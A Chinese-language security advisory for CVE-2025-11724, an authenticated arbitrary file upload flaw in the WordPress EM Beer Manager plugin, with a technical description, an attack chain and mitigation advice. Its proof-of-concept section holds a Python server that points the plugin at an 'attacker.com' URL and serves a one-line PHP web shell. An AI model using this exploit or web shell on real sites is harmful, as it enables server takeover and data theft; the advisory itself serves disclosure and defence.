IPBUF安全漏洞报告
English
CVE-2025-11724 CVSS 8.8 高危

CVE-2025-11724 WordPress EM Beer Manager插件任意文件上传漏洞

披露日期: 2025-11-04

漏洞信息

漏洞编号
CVE-2025-11724
漏洞类型
任意文件上传/远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
EM Beer Manager plugin for WordPress

相关标签

任意文件上传远程代码执行WordPress插件漏洞EM Beer Manager权限绕过CVE-2025-11724高危漏洞文件上传漏洞PHP webshellWordPress安全

漏洞概述

EM Beer Manager是WordPress平台上广泛使用的啤酒管理插件,用于管理啤酒库存、酿造信息和销售数据。该插件在3.2.3及之前的所有版本中存在严重的任意文件上传漏洞,CVSS评分高达8.8,属于高危漏洞。攻击者利用此漏洞可以在已认证的情况下(最低需要订阅者权限),通过插件的Untappd导入功能上传任意文件,包括PHP脚本文件,从而在服务器上执行任意代码,完全控制网站服务器。此漏洞的严重性在于利用门槛低、影响范围广,任何使用该插件的WordPress网站都可能受到影响,攻击成功后可导致数据泄露、网站篡改、恶意软件传播等严重后果。

技术细节

漏洞根源在于EM Beer Manager插件的EMBM_Admin_Untappd_Import_image()函数存在两个严重的安全缺陷:第一,该函数在处理文件上传时缺少必要的文件类型验证(file type validation),允许上传任意类型的文件,包括可执行的PHP文件;第二,绑定该函数的wp_ajax_embm-untappd-import AJAX动作缺少权限检查(authorization checks),使得任何已认证用户(包括最低权限的subscriber角色)都可以触发该功能。攻击者需要搭建一个恶意的HTTP服务器,当插件请求Untappd API数据时,该服务器返回特定的JSON响应格式,其中包含指向攻击者控制的图片URL。插件会从这个URL下载图片并保存到WordPress的上传目录,由于缺乏文件类型检查,攻击者可以上传.php文件并通过Web访问执行任意代码。漏洞代码位于admin/integrations/embm-integrations-untappd.php的第867、899、912行附近。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站订阅者级别账户
STEP 2
步骤2
攻击者搭建恶意HTTP服务器,托管包含PHP webshell的JSON响应
STEP 3
步骤3
攻击者向wp-admin/admin-ajax.php发送AJAX请求,触发embm-untappd-import动作
STEP 4
步骤4
插件从攻击者控制的服务器下载恶意的PHP文件
STEP 5
步骤5
插件将PHP文件保存到WordPress上传目录(通常为wp-content/uploads/)
STEP 6
步骤6
攻击者通过Web浏览器访问上传的PHP文件,执行任意代码
STEP 7
步骤7
攻击者完全控制服务器,可进行数据窃取、恶意软件部署等后续攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import json import http.server import socketserver import base64 # PoC for CVE-2025-11724 - EM Beer Manager Arbitrary File Upload # This is a mock HTTP server that serves malicious JSON data class MaliciousHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): if '/untappd-feed' in self.path: # Return malicious JSON with PHP shell URL response = { 'response': { 'checkins': { 'items': [{ 'media': { 'photo': { 'img_id': 12345, 'photo_img_md': 'http://attacker.com/shell.php', # Malicious PHP file URL 'caption': 'test' } } }] } } } self.send_response(200) self.send_header('Content-Type', 'application/json') self.end_headers() self.wfile.write(json.dumps(response).encode()) elif '/shell.php' in self.path: # Serve malicious PHP shell php_shell = b'<?php system($_GET["cmd"]); ?>' self.send_response(200) self.send_header('Content-Type', 'text/plain') self.send_header('Content-Length', len(php_shell)) self.end_headers() self.wfile.write(php_shell) else: self.send_response(404) self.end_headers() PORT = 8080 with socketserver.TCPServer(('', PORT), MaliciousHandler) as httpd: print(f'Malicious server running on port {PORT}') httpd.serve_forever() # WordPress Exploitation: # 1. Attacker needs subscriber-level account # 2. Setup malicious HTTP server above # 3. Send AJAX request to wp-admin/admin-ajax.php with action=embm-untappd-import # 4. The plugin will download and save shell.php to uploads directory # 5. Access shell.php via web to execute commands

影响范围

EM Beer Manager plugin for WordPress <= 3.2.3

防御指南

临时缓解措施
立即升级EM Beer Manager插件到3.2.4或更高版本。如果暂时无法升级,可临时禁用该插件的Untappd集成功能,或限制只有管理员才能访问相关AJAX端点。同时在Web服务器配置中禁止uploads目录执行PHP文件,可通过在uploads目录中添加.htaccess文件(Apache)或Nginx配置来实现。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表